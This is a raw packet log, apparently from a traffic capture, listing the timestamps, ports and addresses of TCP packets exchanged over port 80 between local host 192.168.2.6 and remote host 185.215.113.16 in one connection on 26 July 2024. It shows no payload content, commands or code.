Jul 26, 2024 10:36:19.953129053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.953798056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.953831911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.953850031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.953865051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.953881979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.953900099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.953917027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.953932047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.953938007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.953984022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.954695940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.954730988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.954751968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.954763889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.954781055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.954797983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.954816103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.954832077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.954854012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.954866886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.954879045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.954911947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.955591917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.955626965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.955660105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.955688000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.955688000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.955703974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.955729961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.955737114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.955749035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.955770969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.955785036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.955826044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.956515074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.956552982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.956590891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.956592083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.956612110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.956625938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.956645966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.956659079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.956674099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.956712961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.957205057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.957241058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.957274914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.957281113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.957281113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.957310915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.957326889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.957366943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997061014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997138023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997159004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997215986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997678995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997714043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997749090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997766018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997770071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997800112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997813940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997834921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:19.997859955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:19.997895002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.000292063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.000355959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.000406027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.000459909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.000504971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.000556946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.000734091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.000788927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.000828028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.000881910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.000998974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.001033068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.001049042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.001065016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.001085997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.001121998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005183935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005251884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005287886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005322933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005346060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005369902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005530119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005563021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005588055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005614996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005625010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005671978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005894899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.005951881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.005987883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006052017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006299973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006366014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006392956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006427050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006450891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006460905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006494999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006496906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006517887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006551027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006829023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006863117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006896973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006896973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.006922007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006943941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.006973982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007008076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007029057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.007041931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007076025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.007108927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.007730961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007766962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007791996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.007801056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007833004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007838011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.007867098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.007879019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.007921934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.008166075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.008199930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.008220911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.008265018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.008280039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.008301020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.008320093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.008352041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.012449026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.012531042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.012578011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.012613058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.012633085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.012670040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.012931108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.012964964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.012984991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.012998104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.013014078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.013031960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.013048887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.013103008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.041610956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.041683912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.041699886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.041733980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.041754007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.041790962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042028904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042083979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042097092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042119026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042138100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042150974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042185068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042190075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042227983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042247057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042885065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042920113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042947054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.042968988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.042985916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.043003082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.043020964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.043037891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.043056011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.043095112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.043921947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.043955088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.043987989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.043991089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044008017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044023991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044039965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044056892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044084072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044110060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044564962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044599056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044632912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044634104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044653893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044667959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044692993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044704914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044722080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044739962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.044754982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.044806004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046111107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046144962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046181917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046190023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046190023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046219110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046251059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046252966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046267986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046304941 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046345949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046384096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046401978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046416998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046437979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046451092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046467066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046487093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046504021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046520948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.046536922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.046580076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.047369003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.047426939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.047437906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.047460079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.047486067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.047492981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.047508001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.047527075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.047544956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.047584057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.048218012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.048252106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.048284054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.048290014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.048311949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.048317909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.048326969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.048351049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.048369884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.048384905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.048402071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.048437119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049189091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049223900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049252987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049273968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049294949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049329042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049349070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049364090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049382925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049427986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049885035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049918890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049954891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.049972057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049972057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.049988985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050003052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050024986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050039053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050057888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050079107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050091982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050111055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050152063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050702095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050736904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050765038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050767899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.050786018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.050817013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.093600035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.093683004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.093740940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.093775988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.093800068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.093827963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094130039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094166040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094206095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094234943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094413996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094446898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094476938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094480038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094513893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094515085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094543934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094551086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.094562054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.094600916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.095186949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.095221043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.095251083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.095254898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.095276117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.095289946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.095312119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.095345974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.099195004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.099294901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.099630117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.099695921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100068092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100101948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100133896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100136042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100159883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100169897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100188017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100203991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100225925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100238085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100255966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100274086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100291967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100326061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100594997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100627899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100660086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100661993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100681067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100694895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100718021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100728989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100743055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100763083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:20.100781918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.100810051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:20.102154970 CEST	80	49713	185.215.113.16	192.168.2.6
